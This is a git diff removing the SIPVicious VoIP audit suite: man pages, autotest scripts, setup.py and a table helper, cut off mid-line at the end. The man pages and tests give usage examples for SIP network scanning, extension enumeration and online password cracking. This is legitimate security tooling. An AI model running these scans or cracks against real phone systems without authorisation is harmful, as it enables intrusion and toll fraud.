+++ /dev/null @@ -1,13 +0,0 @@ -Thanks for all the support go to ... - -- Anthony Williams - ironguard.net -- Chase Pollock -- Chris Vella - the gozo -- Joseph McCray - learnsecurityonline.com -- Joern - Recurity Labs -- Robert Abela - http://www.voipproducts.org/ -- Brian Azzopardi -- Teodor Georgiev - http://web1.egvrn.net/tokata -- Yori Kvitchko -- Victor Seva -- You? diff --git a/misc/telecommunications/sipvicious/TODO b/misc/telecommunications/sipvicious/TODO deleted file mode 100644 index c452d2c..0000000 --- a/misc/telecommunications/sipvicious/TODO +++ /dev/null @@ -1,2 +0,0 @@ -Consult the wiki page please: -https://github.com/EnableSecurity/sipvicious/wiki/TodoList diff --git a/misc/telecommunications/sipvicious/autotest/common.sh b/misc/telecommunications/sipvicious/autotest/common.sh deleted file mode 100644 index 8a50f8f..0000000 --- a/misc/telecommunications/sipvicious/autotest/common.sh +++ /dev/null @@ -1,5 +0,0 @@ -do_test() { - $2 - if [ $? -ne $1 ]; then exit 1; fi -} - diff --git a/misc/telecommunications/sipvicious/autotest/svcrack.sh b/misc/telecommunications/sipvicious/autotest/svcrack.sh deleted file mode 100755 index 5b249fa..0000000 --- a/misc/telecommunications/sipvicious/autotest/svcrack.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/bin/bash -set -xu - -source common.sh - -# no -u supplied -do_test 10 "sipvicious_svcrack nouser-syntaxerr" -# invalid hostname syntax -do_test 10 "sipvicious_svcrack udp://pew.pew" -# again invalid syntax -do_test 10 "sipvicious_svcrack pew.pew:5060" -# multiple hosts (svcrack doesn't support it rn) -do_test 10 "sipvicious_svcrack pew.pew:5060 ws://pew.pew:5060" -# negative maximumtime -do_test 10 "sipvicious_svcrack demo.sipvicious.pro --maximumtime -1" -# just the scheme with no URL (technically a valid URL) -do_test 10 "sipvicious_svcrack test://" -# non existent host -do_test 30 "sipvicious_svcrack 1.2.3.4 -u 100" -# invalid port on host -do_test 30 "sipvicious_svcrack demo.sipvicious.pro -p 8888 -u 100" -# valid user & hostname but wrong range -do_test 0 "sipvicious_svcrack demo.sipvicious.pro -u 1000 -r 100-200" -# valid user & hostname with valid range -do_test 40 "sipvicious_svcrack demo.sipvicious.pro -u 1000 -r 1400-1600" -# non-existent dictionary file -do_test 20 "sipvicious_svcrack demo.sipvicious.pro -d test.txt -u 1000" -# valif dictionary file -echo 1500 > test2.txt -do_test 40 "sipvicious_svcrack udp://demo.sipvicious.pro:5060 -d test2.txt -u 1000" -rm test2.txt -# enabling defaults -do_test 40 "sipvicious_svcrack demo.sipvicious.pro -D -u 1000" -# replicating host down, i.e. we're not getting packets back -do_test 30 "sipvicious_svcrack udp://demo.sipvicious.pro:5060 -u 1000 --maximumtime 0" \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/autotest/svmap.sh b/misc/telecommunications/sipvicious/autotest/svmap.sh deleted file mode 100755 index e8551c8..0000000 --- a/misc/telecommunications/sipvicious/autotest/svmap.sh +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/bash -set -xu - -source common.sh - -# invalid ip format -do_test 10 "sipvicious_svmap 1.1..1" -# invalid host -do_test 30 "sipvicious_svmap wronghost" -# valid ip but not a sip talking host -do_test 30 "sipvicious_svmap 1.2.3.4" -# valid host but wrong port -do_test 30 "sipvicious_svmap demo.sipvicious.pro -p 8888" -# valid host w/ wrong port range -do_test 30 "sipvicious_svmap demo.sipvicious.pro -p 8000-9000" -# valid host w/ default port -do_test 0 "sipvicious_svmap demo.sipvicious.pro" -# valid ip w/ default port -do_test 0 "sipvicious_svmap 172.104.142.43" # demo.sipvicious.pro; this might change -# valid ip w/ different ports -do_test 30 "sipvicious_svmap demo.sipvicious.pro -p 5060,8888" -# ipv6 hosts -do_test 30 "sipvicious_svmap -6 ::1" -do_test 30 "sipvicious_svmap -6 ::" -# commented out, GitHub actions does not appear to support ipv6 -# do_test 0 "sipvicious_svmap -6 2a01:7e01::f03c:92ff:fecf:60a8" # demo.sipvicious.pro; this might change -# ip ranges & cidr ranges -do_test 30 "sipvicious_svmap 10.0.0.1-2 172.16.131.1 demo.sipvicious.pro/32 10.0.0.*" -# controlling packet rate + different method name + randomize -do_test 30 "sipvicious_svmap 10.0.0.0/30 -t 3 -m INVITE --randomize" -# ping a specific extension -do_test 0 "sipvicious_svmap demo.sipvicious.pro -e 1000" -# non-existent file -do_test 20 "sipvicious_svmap -I nonexistent.txt" -# IPs from file testing -echo -e '1.1.1.1\n172.104.142.43' >> test.txt -do_test 30 "sipvicious_svmap -I test.txt" -rm test.txt -# scan first few IPs -do_test 30 "sipvicious_svmap 10.0.0.0/8 --first 2" -# compact mode -do_test 0 "sipvicious_svmap demo.sipvicious.pro -c" \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/autotest/svwar.sh b/misc/telecommunications/sipvicious/autotest/svwar.sh deleted file mode 100755 index 10d7d5f..0000000 --- a/misc/telecommunications/sipvicious/autotest/svwar.sh +++ /dev/null @@ -1,29 +0,0 @@ -#!/bin/bash -set -xu - -source common.sh - -# invalid host -do_test 30 "sipvicious_svwar wronghost" -# valid host not talking SIP -do_test 30 "sipvicious_svwar 1.2.3.4" -# valid host but wrong port -do_test 30 "sipvicious_svwar demo.sipvicious.pro -p 8888" -# valid url format but wrong extension range -do_test 0 "sipvicious_svwar udp://demo.sipvicious.pro:5060 -e 100-200" -# valid host & valid extension range -do_test 40 "sipvicious_svwar demo.sipvicious.pro -e 1000-1200" -# valid url format with extension range -do_test 40 "sipvicious_svwar udp://demo.sipvicious.pro:5060 -e 1000-1200" -# valid url format but wrong port w/ valid extension range -do_test 30 "sipvicious_svwar udp://demo.sipvicious.pro:8888 -e 1000-1200" -# non existent input dictionary files -do_test 20 "sipvicious_svwar -d test.txt demo.sipvicious.pro" -# valid dictionary file for extensions -echo 1100 > test2.txt -do_test 40 "sipvicious_svwar -d test2.txt demo.sipvicious.pro" -rm test2.txt -# enable defaults mode -do_test 40 "sipvicious_svwar udp://demo.sipvicious.pro:5060 -D -m OPTIONS" -# compact mode + packet rate -do_test 40 "sipvicious_svwar demo.sipvicious.pro -e 1000-1005 -c -t 2" \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/man1/svcrack.1 b/misc/telecommunications/sipvicious/man1/svcrack.1 deleted file mode 100644 index a06b895..0000000 --- a/misc/telecommunications/sipvicious/man1/svcrack.1 +++ /dev/null @@ -1,135 +0,0 @@ -.TH SVCRACK.PY "1" "June 2020" "svcrack.py v0.3.4" "User Commands" -.SH NAME -svcrack.py \- manual page for svcrack.py v0.3.4 -.SH SYNOPSIS -.B svcrack.py -\fI-u username \fR[\fIoptions\fR] \fItarget\fR -.SH DESCRIPTION -examples: -svcrack.py \fB\-u100\fR \fB\-d\fR dictionary.txt udp://10.0.0.1:5080 -svcrack.py \fB\-u100\fR \fB\-r1\-9999\fR \fB\-z4\fR 10.0.0.1 -.SH OPTIONS -.TP -\fB\-\-version\fR -show program's version number and exit -.TP -\fB\-h\fR, \fB\-\-help\fR -show this help message and exit -.TP -\fB\-v\fR, \fB\-\-verbose\fR -Increase verbosity -.TP -\fB\-q\fR, \fB\-\-quiet\fR -Quiet mode -.TP -\fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR -Destination port or port ranges of the SIP device \- eg -\fB\-p5060\fR,5061,8000\-8100 -.TP -\fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR -Source port for our packets -.TP -\fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR -IP Address to use as the external ip. Specify this if -you have multiple interfaces or if you are behind NAT -.TP -\fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR -By default we bind to all interfaces. This option -overrides that and binds to the specified ip address -.TP -\fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR -This option allows you to trottle the speed at which -packets are sent. Change this if you're losing -packets. For example try 0.5. -.TP -\fB\-R\fR, \fB\-\-reportback\fR -Send the author an exception traceback. Currently -sends the command line parameters and the traceback -.TP -\fB\-A\fR, \fB\-\-autogetip\fR -Automatically get the current IP address. This is -useful when you are not getting any responses back due -to SIPVicious not resolving your local IP. -.TP -\fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR -save the session. Has the benefit of allowing you to -resume a previous scan and allows you to export scans -.TP -\fB\-\-resume\fR=\fINAME\fR -resume a previous scan -.TP -\fB\-c\fR, \fB\-\-enablecompact\fR -enable compact mode. Makes packets smaller but -possibly less compatible -.TP -\fB\-u\fR USERNAME, \fB\-\-username\fR=\fIUSERNAME\fR -username to try crack -.TP -\fB\-d\fR DICTIONARY, \fB\-\-dictionary\fR=\fIDICTIONARY\fR -specify a dictionary file with passwords or - for stdin -.TP -\fB\-r\fR RANGE, \fB\-\-range\fR=\fIRANGE\fR -specify a range of numbers. example: -100\-200,300\-310,400 -.TP -\fB\-e\fR EXTENSION, \fB\-\-extension\fR=\fIEXTENSION\fR -Extension to crack. Only specify this when the -extension is different from the username. -.TP -\fB\-z\fR PADDING, \fB\-\-zeropadding\fR=\fIPADDING\fR -the number of zeros used to padd the password. -the options "\-r 1\-9999 \fB\-z\fR 4" would give 0001 0002 0003 -\&... 9999 -.TP -\fB\-n\fR, \fB\-\-reusenonce\fR -Reuse nonce. Some SIP devices don't mind you reusing -the nonce (making them vulnerable to replay attacks). -Speeds up the cracking. -.TP -\fB\-T\fR TEMPLATE, \fB\-\-template\fR=\fITEMPLATE\fR -A format string which allows us to specify a template -for the extensions example -svwar.py \fB\-e\fR 1\-999 \fB\-\-template=\fR"123%#04i999" would scan -between 1230001999 to 1230999999" -.TP -\fB\-\-maximumtime\fR=\fIMAXIMUMTIME\fR -Maximum time in seconds to keep sending requests -without receiving a response -back -.TP -\fB\-D\fR, \fB\-\-enabledefaults\fR -Scan for default / typical passwords such as -1000,2000,3000 ... 1100, etc. This option is off by -default. Use \fB\-\-enabledefaults\fR to -enable this functionality -.TP -\fB\-\-domain\fR=\fIDOMAIN\fR -force a specific domain name for the SIP message, eg. -\fB\-d\fR example.org -.TP -\fB\-\-requesturi\fR=\fIREQUESTURI\fR -Force the first line URI to a specific value; e.g. sip:999@example.org -.TP -\fB\-6\fR -Scan an IPv6 address -.IP -SIPvicious password cracker is an online password guessing tool for SIP devices. - -Copyright (C) 2021 Sandro Gauci -.IP -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -.IP -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -.IP -You should have received a copy of the GNU General Public License -along with this program. If not, see . -.SH "SEE ALSO" -The full documentation for -.B svcrack.py -can be found on GitHub at . diff --git a/misc/telecommunications/sipvicious/man1/svcrash.1 b/misc/telecommunications/sipvicious/man1/svcrash.1 deleted file mode 100644 index d45fbe9..0000000 --- a/misc/telecommunications/sipvicious/man1/svcrash.1 +++ /dev/null @@ -1,49 +0,0 @@ -.TH SVCRASH.PY "1" "June 2020" "svcrash.py v0.3.4" "User Commands" -.SH NAME -svcrash.py \- manual page for svcrash.py v0.3.4 -.SH SYNOPSIS -.B svcrash.py -[\fIoptions\fR] -.SH OPTIONS -.TP -\fB\-\-version\fR -show program's version number and exit -.TP -\fB\-h\fR, \fB\-\-help\fR -show this help message and exit -.TP -\fB\-\-auto\fR -Automatically send responses to attacks -.TP -\fB\-\-astlog\fR=\fIASTLOG\fR -Path for the asterisk full logfile -.TP -\fB\-d\fR IPADDR -specify attacker's ip address -.TP -\fB\-p\fR PORT -specify attacker's port -.TP -\fB\-b\fR -bruteforce the attacker's port -.IP -Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized scans from flooding the network. - -Copyright (C) 2021 Sandro Gauci -.IP -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -.IP -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -.IP -You should have received a copy of the GNU General Public License -along with this program. If not, see . -.SH "SEE ALSO" -The full documentation for -.B svcrash.py -can be found on GitHub at . \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/man1/svmap.1 b/misc/telecommunications/sipvicious/man1/svmap.1 deleted file mode 100644 index 20df2ec..0000000 --- a/misc/telecommunications/sipvicious/man1/svmap.1 +++ /dev/null @@ -1,140 +0,0 @@ -.TH SVMAP.PY "1" "June 2020" "svmap.py v0.3.4" "User Commands" -.SH NAME -svmap.py \- manual page for svmap.py v0.3.4 -.SH SYNOPSIS -.B svmap.py -[\fIoptions\fR] \fIhost1 host2 hostrange\fR -.SH DESCRIPTION -Scans for SIP devices on a given network -.PP - -examples: -.PP - -svmap.py 10.0.0.1\-10.0.0.255 172.16.131.1 sipvicious.org/22 10.0.1.1/241.1.1.1\-20 1.1.2\-20.* 4.1.*.* -.PP - -svmap.py \fB\-s\fR session1 \fB\-\-randomize\fR 10.0.0.1/8 -.PP - -svmap.py \fB\-\-resume\fR session1 \fB\-v\fR -.PP - -svmap.py \fB\-p5060\-5062\fR 10.0.0.3\-20 \fB\-m\fR INVITE -.PP - -.SH OPTIONS -.TP -\fB\-\-version\fR -show program's version number and exit -.TP -\fB\-h\fR, \fB\-\-help\fR -show this help message and exit -.TP -\fB\-v\fR, \fB\-\-verbose\fR -Increase verbosity -.TP -\fB\-q\fR, \fB\-\-quiet\fR -Quiet mode -.TP -\fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR -Destination port or port ranges of the SIP device \- eg -\fB\-p5060\fR,5061,8000\-8100 -.TP -\fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR -Source port for our packets -.TP -\fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR -IP Address to use as the external ip. Specify this if -you have multiple interfaces or if you are behind NAT -.TP -\fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR -By default we bind to all interfaces. This option -overrides that and binds to the specified ip address -.TP -\fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR -This option allows you to trottle the speed at which -packets are sent. Change this if you're losing -packets. For example try 0.5. -.TP -\fB\-R\fR, \fB\-\-reportback\fR -Send the author an exception traceback. Currently -sends the command line parameters and the traceback -.TP -\fB\-A\fR, \fB\-\-autogetip\fR -Automatically get the current IP address. This is -useful when you are not getting any responses back due -to SIPVicious not resolving your local IP. -.TP -\fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR -save the session. Has the benefit of allowing you to -resume a previous scan and allows you to export scans -.TP -\fB\-\-resume\fR=\fINAME\fR -resume a previous scan -.TP -\fB\-c\fR, \fB\-\-enablecompact\fR -enable compact mode. Makes packets smaller but -possibly less compatible -.TP -\fB\-\-randomscan\fR -Scan random IP addresses -.TP -\fB\-i\fR scan1, \fB\-\-input\fR=\fIscan1\fR -Scan IPs which were found in a previous scan. Pass the -session name as the argument -.TP -\fB\-I\fR scan1, \fB\-\-inputtext\fR=\fIscan1\fR -Scan IPs from a text file \- use the same syntax as -command line but with new lines instead of commas. -Pass the file name as the argument -.TP -\fB\-m\fR METHOD, \fB\-\-method\fR=\fIMETHOD\fR -Specify the request method \- by default this is -OPTIONS. -.TP -\fB\-d\fR, \fB\-\-debug\fR -Print SIP messages received -.TP -\fB\-\-first\fR=\fIFIRST\fR -Only send the first given number of messages (i.e. -usually used to scan only X IPs) -.TP -\fB\-e\fR EXTENSION, \fB\-\-extension\fR=\fIEXTENSION\fR -Specify an extension \- by default this is not set -.TP -\fB\-\-randomize\fR -Randomize scanning instead of scanning consecutive ip -addresses -.TP -\fB\-\-srv\fR -Scan the SRV records for SIP on the destination domain -name.The targets have to be domain names \- example.org -domain1.com -.TP -\fB\-\-fromname\fR=\fIFROMNAME\fR -Specify a name for the from header in requests -.TP -\fB\-6\fR, \fB\-\-ipv6\fR -Scan an IPv6 address -.IP -SIPvicious SIP scanner searches for SIP devices on a given network. - -Copyright (C) 2021 Sandro Gauci -.IP -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -.IP -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -.IP -You should have received a copy of the GNU General Public License -along with this program. If not, see . -.SH "SEE ALSO" -The full documentation for -.B svmap.py -can be found on GitHub at . \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/man1/svreport.1 b/misc/telecommunications/sipvicious/man1/svreport.1 deleted file mode 100644 index 2505f4a..0000000 --- a/misc/telecommunications/sipvicious/man1/svreport.1 +++ /dev/null @@ -1,94 +0,0 @@ -.TH SVREPORT.PY "1" "June 2020" "svreport.py v0.3.4" "User Commands" -.SH NAME -svreport.py \- manual page for svreport.py v0.3.4 -.SH SYNOPSIS -.B svreport.py -[\fIcommand\fR] [\fIoptions\fR] -.SH DESCRIPTION - -Supported commands: -.IP -\- list: lists all scans -.TP -\- export: -exports the given scan to a given format -.TP -\- delete: -deletes the scan -.TP -\- stats: -print out some statistics of interest -.TP -\- search: -search for a specific string in the user agent (svmap) -.PP -examples: -.PP - -.IP -svreport.py list -.PP - -.IP -svreport.py export \fB\-f\fR pdf \fB\-o\fR scan1.pdf \fB\-s\fR scan1 -.PP - -.IP -svreport.py delete \fB\-s\fR scan1 -.PP - -.SH OPTIONS -.TP -\fB\-\-version\fR -show program's version number and exit -.TP -\fB\-h\fR, \fB\-\-help\fR -show this help message and exit -.TP -\fB\-v\fR, \fB\-\-verbose\fR -Increase verbosity -.TP -\fB\-q\fR, \fB\-\-quiet\fR -Quiet mode -.TP -\fB\-t\fR SESSIONTYPE, \fB\-\-type\fR=\fISESSIONTYPE\fR -Type of session. This is usually either svmap, svwar -or svcrack. If not set I will try to find the best -match -.TP -\fB\-s\fR SESSION, \fB\-\-session\fR=\fISESSION\fR -Name of the session -.TP -\fB\-f\fR FORMAT, \fB\-\-format\fR=\fIFORMAT\fR -Format type. Can be stdout, pdf, xml, csv or txt -.TP -\fB\-o\fR OUTPUTFILE, \fB\-\-output\fR=\fIOUTPUTFILE\fR -Output filename -.TP -\fB\-n\fR -Do not resolve the ip address -.TP -\fB\-c\fR, \fB\-\-count\fR -Used togather with 'list' command to count the number -of entries -.IP -SIPVicious report engine manages sessions from previous scans with SIPVicious tools and allows you to export these scans. - -Copyright (C) 2021 Sandro Gauci -.IP -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -.IP -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -.IP -You should have received a copy of the GNU General Public License -along with this program. If not, see . -.SH "SEE ALSO" -The full documentation for -.B svreport.py -can be found on GitHub at . \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/man1/svwar.1 b/misc/telecommunications/sipvicious/man1/svwar.1 deleted file mode 100644 index eea9f03..0000000 --- a/misc/telecommunications/sipvicious/man1/svwar.1 +++ /dev/null @@ -1,131 +0,0 @@ -.TH SVWAR.PY "1" "June 2020" "svwar.py v0.3.4" "User Commands" -.SH NAME -svwar.py \- manual page for svwar.py v0.3.4 -.SH SYNOPSIS -.B svwar.py -[\fIoptions\fR] \fItarget\fR -.SH DESCRIPTION -examples: -svwar.py \fB\-e100\-999\fR udp://10.0.0.1:5080 -svwar.py \fB\-d\fR dictionary.txt 10.0.0.2 -.SH OPTIONS -.TP -\fB\-\-version\fR -show program's version number and exit -.TP -\fB\-h\fR, \fB\-\-help\fR -show this help message and exit -.TP -\fB\-v\fR, \fB\-\-verbose\fR -Increase verbosity -.TP -\fB\-q\fR, \fB\-\-quiet\fR -Quiet mode -.TP -\fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR -Destination port or port ranges of the SIP device \- eg -\fB\-p5060\fR,5061,8000\-8100 -.TP -\fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR -Source port for our packets -.TP -\fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR -IP Address to use as the external ip. Specify this if -you have multiple interfaces or if you are behind NAT -.TP -\fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR -By default we bind to all interfaces. This option -overrides that and binds to the specified ip address -.TP -\fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR -This option allows you to trottle the speed at which -packets are sent. Change this if you're losing -packets. For example try 0.5. -.TP -\fB\-R\fR, \fB\-\-reportback\fR -Send the author an exception traceback. Currently -sends the command line parameters and the traceback -.TP -\fB\-A\fR, \fB\-\-autogetip\fR -Automatically get the current IP address. This is -useful when you are not getting any responses back due -to SIPVicious not resolving your local IP. -.TP -\fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR -save the session. Has the benefit of allowing you to -resume a previous scan and allows you to export scans -.TP -\fB\-\-resume\fR=\fINAME\fR -resume a previous scan -.TP -\fB\-c\fR, \fB\-\-enablecompact\fR -enable compact mode. Makes packets smaller but -possibly less compatible -.TP -\fB\-d\fR DICTIONARY, \fB\-\-dictionary\fR=\fIDICTIONARY\fR -specify a dictionary file with possible extension -names or - for stdin -.TP -\fB\-m\fR OPTIONS, \fB\-\-method\fR=\fIOPTIONS\fR -specify a request method. The default is REGISTER. -Other possible methods are OPTIONS and INVITE -.TP -\fB\-e\fR RANGE, \fB\-\-extensions\fR=\fIRANGE\fR -specify an extension or extension range example: \fB\-e\fR -100\-999,1000\-1500,9999 -.TP -\fB\-z\fR PADDING, \fB\-\-zeropadding\fR=\fIPADDING\fR -the number of zeros used to padd the username. -the options "\-e 1\-9999 \fB\-z\fR 4" would give 0001 0002 0003 -\&... 9999 -.TP -\fB\-\-force\fR -Force scan, ignoring initial sanity checks. -.TP -\fB\-T\fR TEMPLATE, \fB\-\-template\fR=\fITEMPLATE\fR -A format string which allows us to specify a template -for the extensions example -svwar.py \fB\-e\fR 1\-999 \fB\-\-template=\fR"123%#04i999" would scan -between 1230001999 to 1230999999" -.TP -\fB\-D\fR, \fB\-\-enabledefaults\fR -Scan for default / typical extensions such as -1000,2000,3000 ... 1100, etc. This option is off by -default. Use \fB\-\-enabledefaults\fR to -enable this functionality -.TP -\fB\-\-maximumtime\fR=\fIMAXIMUMTIME\fR -Maximum time in seconds to keep sending requests -without receiving a response -back -.TP -\fB\-\-domain\fR=\fIDOMAIN\fR -force a specific domain name for the SIP message, eg. -\fB\-d\fR example.org -.TP -\fB\-\-debug\fR -Print SIP messages received -.TP -\fB\-6\fR -Scan an IPv6 address -.IP -Sipvicious extension line scanner scans SIP PaBXs for valid extension lines. - -Copyright (C) 2021 Sandro Gauci -.IP -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -.IP -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -.IP -You should have received a copy of the GNU General Public License -along with this program. If not, see . -.SH "SEE ALSO" -The full documentation for -.B svwar.py -can be found on GitHub at . \ No newline at end of file diff --git a/misc/telecommunications/sipvicious/resources/sv.xsl b/misc/telecommunications/sipvicious/resources/sv.xsl deleted file mode 100644 index 26f2840..0000000 --- a/misc/telecommunications/sipvicious/resources/sv.xsl +++ /dev/null @@ -1,61 +0,0 @@ - - - - - - - -

- -

- - - - - - - - - - - - - -
- -
- - -
- -
\ No newline at end of file diff --git a/misc/telecommunications/sipvicious/setup.py b/misc/telecommunications/sipvicious/setup.py deleted file mode 100644 index 9543c0d..0000000 --- a/misc/telecommunications/sipvicious/setup.py +++ /dev/null @@ -1,85 +0,0 @@ -#!/usr/bin/env python -# vim: set fileencoding=utf-8 : -# -# sipvicious/setup.py -# -# Copyright (C) 2007-2021 Sandro Gauci -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, -# MA 02110-1301, USA. - -import io -import sys - -if sys.version_info[0] < 3: - raise Exception("Must be using Python 3") - - -from os import path -from setuptools import find_packages, setup -from sipvicious.libs.svhelper import __author__, __version__ - -this_directory = path.abspath(path.dirname(__file__)) -with io.open(path.join(this_directory, 'README.md'), encoding='utf-8') as readme_file: - desc = readme_file.read() - -setup(name='sipvicious', - version=__version__, - description='SIPVicious suite is a set of tools that can be used to audit SIP based VoIP systems.', - long_description = desc, - long_description_content_type='text/markdown', - author=__author__, - author_email='sandro@enablesecurity.com', - license='GPL', - url='https://github.com/EnableSecurity/sipvicious', - project_urls={ - "Bug Tracker": "https://github.com/EnableSecurity/sipvicious/issues", - "Source Code": "https://github.com/EnableSecurity/sipvicious/tree/master", - }, - download_url=f'https://github.com/EnableSecurity/sipvicious/archive/v{__version__}.zip', - packages=find_packages(), - data_files = [("share/man/man1", [ - "man1/svcrack.1", - "man1/svcrash.1", - "man1/svmap.1", - "man1/svreport.1", - "man1/svwar.1", - ]) - ], - entry_points={ - 'console_scripts': [ - 'sipvicious_svmap = sipvicious.svmap:main', - 'sipvicious_svwar = sipvicious.svwar:main', - 'sipvicious_svcrack = sipvicious.svcrack:main', - 'sipvicious_svreport = sipvicious.svreport:main', - 'sipvicious_svcrash = sipvicious.svcrash:main', - ] - }, - classifiers=[ - 'Development Status :: 5 - Production/Stable', - 'Intended Audience :: System Administrators', - 'Intended Audience :: Information Technology', - 'Topic :: Internet', - 'Topic :: Security', - 'Topic :: System :: Networking', - 'Topic :: Communications :: Telephony', - 'Topic :: Communications :: Internet Phone', - 'License :: OSI Approved :: GNU General Public License (GPL)', - 'Programming Language :: Python :: 3', - 'Operating System :: OS Independent' - ], - keywords='telephony sip audit scanner voip', - python_requires='>=3.6', -) diff --git a/misc/telecommunications/sipvicious/sipvicious/__init__.py b/misc/telecommunications/sipvicious/sipvicious/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/misc/telecommunications/sipvicious/sipvicious/libs/__init__.py b/misc/telecommunications/sipvicious/sipvicious/libs/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/misc/telecommunications/sipvicious/sipvicious/libs/pptable.py b/misc/telecommunications/sipvicious/sipvicious/libs/pptable.py deleted file mode 100644 index 7921940..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/libs/pptable.py +++ /dev/null @@ -1,202 +0,0 @@ -#!/usr/bin/env python3 - -# License: MIT License -# Original Code: github.com/nschloe/termtables -# Modified during porting of sipvicious from py2 to py3 - -import re -from collections.abc import Sequence - -style = '-|++++++++++=++' - - -def _create_padding_tuple(padding): - # self._padding is a 4-tuple: top, right, bottom, left (just like CSS) - if isinstance(padding, int): - out = (padding, padding, padding, padding) - else: - if len(padding) == 1: - out = (padding[0], padding[0], padding[0], padding[0]) - elif len(padding) == 2: - out = (padding[0], padding[1], padding[0], padding[1]) - elif len(padding) == 3: - out = (padding[0], padding[1], padding[2], padding[1]) - else: - assert len(padding) == 4 - out = (padding[0], padding[1], padding[2], padding[3]) - return out - - -def _create_alignment(alignment, num_columns): - if len(alignment) == 1: - alignment = num_columns * alignment - assert len(alignment) == num_columns - return alignment - - -def _remove_escape_sequences(string): - # https://stackoverflow.com/a/14693789/353337 - ansi_escape = re.compile(r"\x1B[@-_][0-?]*[ -/]*[@-~]") - return ansi_escape.sub("", string) - - -def _get_column_widths(strings, num_columns): - widths = num_columns * [0] - for block in strings: - for row in block: - for j, item in enumerate(row): - widths[j] = max(widths[j], len(_remove_escape_sequences(item))) - return widths - - -def _align(strings, alignments, column_widths): - for block in strings: - for row in block: - for k, (item, align, cw) in enumerate(zip(row, alignments, column_widths)): - rest = cw - len(_remove_escape_sequences(item)) - if rest == 0: - # row[k] = item[:cw] - row[k] = item - else: - assert rest > 0 - if align == "l": - left = 0 - elif align == "r": - left = rest - else: - assert align == "c" - left = rest // 2 - right = rest - left - row[k] = " " * left + item + " " * right - return strings - - -def _add_padding(strings, column_widths, padding): - for block in strings: - for row in block: - for k, (item, cw) in enumerate(zip(row, column_widths)): - cw += padding[1] + padding[3] - s = [] - for _ in range(padding[0]): - s += [" " * cw] - s += [" " * padding[3] + item + " " * padding[1]] - for _ in range(padding[2]): - s += [" " * cw] - row[k] = "\n".join(s) - return strings - - -def _seq_but_not_str(obj): - return isinstance(obj, Sequence) and not isinstance(obj, (str, bytes, bytearray)) - - -def _get_depth(l): - if _seq_but_not_str(l): - return 1 + max(_get_depth(item) for item in l) - return 0 - - -def _hjoin_multiline(join_char, strings): - """Horizontal join of multiline strings - """ - cstrings = [string.split("\n") for string in strings] - max_num_lines = max(len(item) for item in cstrings) - pp = [] - for k in range(max_num_lines): - p = [cstring[k] for cstring in cstrings] - pp.append(join_char + join_char.join(p) + join_char) - - return "\n".join([p.rstrip() for p in pp]) - - -def to_string( - data, header=None, alignment="l", padding=(0, 1), style=style -): - if len(data) == 0: - return "no results" - try: - depth = len(data.shape) - except AttributeError: - depth = 